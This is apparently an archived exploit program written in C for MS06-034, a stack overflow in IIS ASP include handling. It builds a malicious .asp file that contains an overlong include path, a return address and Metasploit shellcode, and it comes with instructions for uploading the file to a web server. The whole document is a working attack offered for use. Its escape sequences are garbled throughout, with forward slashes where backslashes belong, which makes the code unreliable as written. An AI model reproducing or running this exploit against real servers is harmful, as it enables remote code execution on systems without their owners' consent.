Microsoft IIS ASP Stack Overflow Exploit (MS06-034)

Rated as : Critical

#include <stdio.h>
#include <windows.h>

/***********************************************************************
Microsoft IIS ASP Stack Overflow Exploit(MS06-034)

by cocoruder(frankruder_at_hotmail.com),2006/7/13
page:http://ruder.cdut.net/default.asp

successfully test on Windows 2000 Server SP4+IIS5.0,
On Windows 2003 Server+IIS6.0,because the new SEH protection mechanisms,
you should set the new fs:[0]->hander flexibility,this need some luck.

usage:
upload the "exploit2000.asp" to IIS web directory,use web
browser to visit it,then the shellcode will execute.

************************************************************************/

//include asp filename length=10ch>104h
unsigned char asp_include_header[]=
"<!--#include
file=/"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.asp/"-->";

//jmp 8
unsigned char code_jmp8[]=
"/xEB/x06/x90/x90";

//jmp ebx address
unsigned char addr_jmp_ebx[]=
"/x66/x4A/xE6/x77";

// shellcode !! Must be free of Unicode null terminators (0x0000) !!
// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com unsigned char shellcode[]=
"/xeb/x03/x59/xeb/x05/xe8/xf8/xff/xff/xff/x4f/x49/x49/x49/x49/x49"
"/x49/x51/x5a/x56/x54/x58/x36/x33/x30/x56/x58/x34/x41/x30/x42/x36"
"/x48/x48/x30/x42/x33/x30/x42/x43/x56/x58/x32/x42/x44/x42/x48/x34"
"/x41/x32/x41/x44/x30/x41/x44/x54/x42/x44/x51/x42/x30/x41/x44/x41"
"/x56/x58/x34/x5a/x38/x42/x44/x4a/x4f/x4d/x4e/x4f/x4a/x4e/x46/x34"
"/x42/x50/x42/x50/x42/x30/x4b/x38/x45/x34/x4e/x43/x4b/x48/x4e/x47"
"/x45/x30/x4a/x37/x41/x30/x4f/x4e/x4b/x38/x4f/x34/x4a/x51/x4b/x48"
"/x4f/x55/x42/x42/x41/x30/x4b/x4e/x49/x44/x4b/x58/x46/x43/x4b/x58"
"/x41/x50/x50/x4e/x41/x33/x42/x4c/x49/x59/x4e/x4a/x46/x48/x42/x4c"
"/x46/x57/x47/x30/x41/x4c/x4c/x4c/x4d/x30/x41/x30/x44/x4c/x4b/x4e"
"/x46/x4f/x4b/x43/x46/x45/x46/x42/x46/x50/x45/x37/x45/x4e/x4b/x38"
"/x4f/x45/x46/x42/x41/x50/x4b/x4e/x48/x36/x4b/x58/x4e/x30/x4b/x54"
"/x4b/x38/x4f/x35/x4e/x51/x41/x50/x4b/x4e/x4b/x48/x4e/x41/x4b/x48"
"/x41/x50/x4b/x4e/x49/x48/x4e/x45/x46/x42/x46/x50/x43/x4c/x41/x53"
"/x42/x4c/x46/x36/x4b/x58/x42/x54/x42/x53/x45/x48/x42/x4c/x4a/x37"
"/x4e/x30/x4b/x48/x42/x34/x4e/x50/x4b/x58/x42/x57/x4e/x51/x4d/x4a"
"/x4b/x48/x4a/x46/x4a/x50/x4b/x4e/x49/x50/x4b/x38/x42/x58/x42/x4b"
"/x42/x30/x42/x50/x42/x30/x4b/x38/x4a/x56/x4e/x43/x4f/x35/x41/x53"
"/x48/x4f/x42/x56/x48/x45/x49/x38/x4a/x4f/x43/x48/x42/x4c/x4b/x37"
"/x42/x35/x4a/x36/x50/x47/x4a/x4d/x44/x4e/x43/x47/x4a/x36/x4a/x49"
"/x50/x4f/x4c/x48/x50/x50/x47/x55/x4f/x4f/x47/x4e/x43/x46/x41/x46"
"/x4e/x46/x43/x46/x42/x30/x5a";

void main(void)
{
FILE *fp=NULL;
int i;

printf("[+] Creating file...exploit.asp/n");

if ((fp=fopen("exploit2000.asp","wb"))==NULL)
{
printf("fopen error!/n");
return;
}

fwrite(asp_include_header,sizeof(asp_include_header)-1,1,fp);

//fill
for (i=0;i<0x135;i++)
{
fwrite("/x41",1,1,fp);
}

fwrite(code_jmp8,4,1,fp);

fwrite(addr_jmp_ebx,4,1,fp);

fwrite(shellcode,sizeof(shellcode)-1,1,fp);

//fill
for (i=0;i<0x1500;i++)
{
fwrite("/x41",1,1,fp);
}

fclose(fp);

printf("[+] Exploit file has been successfully built./n");

}